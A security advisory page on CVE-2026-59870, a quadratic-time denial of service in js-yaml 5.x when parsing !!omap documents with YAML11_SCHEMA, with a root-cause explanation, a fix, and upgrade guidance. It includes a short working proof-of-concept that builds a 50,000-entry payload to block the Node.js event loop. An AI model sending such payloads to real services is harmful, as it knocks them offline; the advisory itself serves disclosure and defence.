CVE-2026-59870: js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing

Published Jul 8, 2026
·
Updated

Summary js-yaml v5.x introduces YAML11SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11SCHEMA }.

Details In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525): js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => [], addItem: (container, item) => { // ... for (const existing of container) // O(n) per insertion! if (hasOwnProperty(existing, itemKeys[0])) return 'cannot resolve an ordered map item'; container.push(object); // n insertions → O(n^2) total return ''; } }); For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0) js const yaml = require('js-yaml'); function buildOmapPayload(n) { let p = '!!omap\n'; for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; return p; } // Timing results on v5.2.0: // n=1000: 9ms // n=5000: 73ms (5x n → 8x time) // n=10000: 255ms (2x n → 3.5x time — supralinear) // n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed) // n=50000: 10613ms ← blocks event loop for >10 seconds yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11SCHEMA });

Impact Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11SCHEMA export).

Fix Replace the O(n) linear scan in addItem with an O(1) Set-based lookup: js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => ({ list: [], seen: new Set() }), addItem: (state, item) => { const key = Object.keys(item)[0]; if (state.seen.has(key)) return 'duplicate omap key'; state.seen.add(key); state.list.push(item); return ''; }, resolve: (state) => state.list });

Other sources

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.1, YAML11SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. This issue is fixed in version 5.2.1.

MITRE

Affected Software

3 affected componentsFixes available
js-yaml js-yaml>5.0.0<5.2.1
Nodeca Js-yaml Node.js>=5.0.0<5.2.1
npm/js-yaml>=5.0.0<=5.2.0
5.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/js-yaml to a version that resolves this vulnerability.

    Fixed in 5.2.1
  2. Upgrade

    Upgrade js-yaml to a version that resolves this vulnerability.

    Fixed in 5.2.1
  3. Configuration

    If you parse untrusted YAML, avoid js-yaml's YAML11_SCHEMA in yaml.load(input, { schema: yaml.YAML11_SCHEMA }) to prevent !!omap O(n^2) CPU stalls (issue affects 5.0.0 up to before 5.2.1).

    js-yaml yaml.load(input, { schema: yaml.YAML11_SCHEMA }) = Use default schema (do not use YAML11_SCHEMA) for untrusted input

Event History

Jul 8, 2026
CVE Published
via MITRE·03:13 PM
Data Sourced
via MITRE·03:13 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 20, 2026
Advisory Published
via GitHub·09:18 PM
Data Sourced
via GitHub·09:18 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59870?

CVE-2026-59870 has a medium severity rating of 5.3.

2

What does CVE-2026-59870 affect?

CVE-2026-59870 affects the js-yaml library versions from 5.0.0 before 5.2.1.

3

How do I fix CVE-2026-59870?

To fix CVE-2026-59870, upgrade js-yaml to version 5.2.1 or later.

4

What type of vulnerability is CVE-2026-59870?

CVE-2026-59870 is a quadratic-complexity denial of service vulnerability.

5

What is the impact of CVE-2026-59870?

The impact of CVE-2026-59870 is high CPU consumption during the parsing of crafted YAML content.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203